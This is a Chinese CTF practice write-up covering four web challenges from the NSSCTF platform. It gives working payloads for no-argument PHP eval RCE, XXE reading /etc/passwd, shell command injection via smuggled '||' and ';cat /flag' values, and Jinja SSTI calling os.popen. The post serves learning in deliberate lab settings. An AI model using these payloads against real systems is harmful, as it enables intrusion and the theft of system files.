NSSCTF web 刷题记录1

文章目录

  • 前言
  • 题目
    • [[GXYCTF 2019]禁止套娃](#[GXYCTF 2019]禁止套娃)
    • [[NCTF 2019]Fake XML cookbook](#[NCTF 2019]Fake XML cookbook)
    • [[NSSRound#7 Team]ec_RCE](#7 Team]ec_RCE)
    • [[NCTF 2018]Flask PLUS](#[NCTF 2018]Flask PLUS)

前言

今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。


题目

[GXYCTF 2019]禁止套娃

打开题目,直接扫一下目录

发现是存在git泄露---参考文章

然后使用专门的工具Githack(下载地址

打开终端,运行python(运行后要访问,/.git/才能有结果)

源代码

复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下

第一个if语句禁用了一些php伪协议

第二个if语句很明显是无参rce的标志,一般代码为

复制代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

第三个if语句是禁用我们要rce的一些函数,比如phpinfo()

所以rce的关键是无参

方法一

使用session_start()+session_id()读取文件(php<7)

payload

复制代码
?exp=show_source(session_id(session_start())); 
Cookie: PHPSESSID=flag.php

得到flag

方法二

php函数直接读取文件

先读取数组,查看flag在第几个

payload

复制代码
?exp=print_r(scandir(current(localeconv())));

发现是第三个,那么我们可以先倒序再读取第二个

复制代码
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

即可得到flag

[NCTF 2019]Fake XML cookbook

打开题目,根据提示应该不是sql注入

随便输入然后bp抓包,发现是xml格式的登录

联想到XML中存在的XXE漏洞

payload

复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>1</password></user>

修改下命令,直接得到flag

[NSSRound#7 Team]ec_RCE

源代码

复制代码
 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?> 

分析一下,有两个POST参数可控,然后出现shell_exec()函数

它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。

payload

复制代码
action=||&data='cat /flag'
或者
action=;cat /flag&data=

得到flag

[NCTF 2018]Flask PLUS

打开题目,在url输入{``{7*7}}
发现存在ssti漏洞

payload

复制代码
{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

然后得到flag

相关推荐
哥只是传说中的小白2 分钟前
Nano Banana Pro高并发接入Grsai Api实战!0.09/张无限批量生成(附接入实战+开源工具)
开发语言·数据库·ai作画·开源·aigc·php·api
白山云北诗3 分钟前
企业网站网络安全防护方案
安全·web安全·网络安全·ddos防护·web应用防火墙·cc防护
亚历山大海1 小时前
PHP HTML 实体(HTML Entities)没有被正确解码导致< 和 δ 等字符被转换
开发语言·html·php
2301_780789662 小时前
服务器感染的病毒有哪些特点呢?
安全·web安全
上海云盾第一敬业销售4 小时前
CC攻击与流量劫持的关系解析
web安全
白帽子黑客杰哥5 小时前
在实际渗透测试中,如何系统性地评估一个WAF规则集的有效性?
网络·web安全·kali
二等饼干~za8986685 小时前
碰一碰发视频系统源码搭建部署技术分享
服务器·开发语言·php·音视频·ai-native
yesyesido6 小时前
高效安全局域网文件传输平台:零配置、高速度、跨设备的本地数据共享解决方案
安全·web安全·网络安全
. . . . .6 小时前
WordPress开发到部署
php
成为你的宁宁6 小时前
【Zabbix 自定义监控全流程实战指南(附图文教程):从语法基础到内存传参、PHP-FPM 服务、Web 场景监控配置】
php·zabbix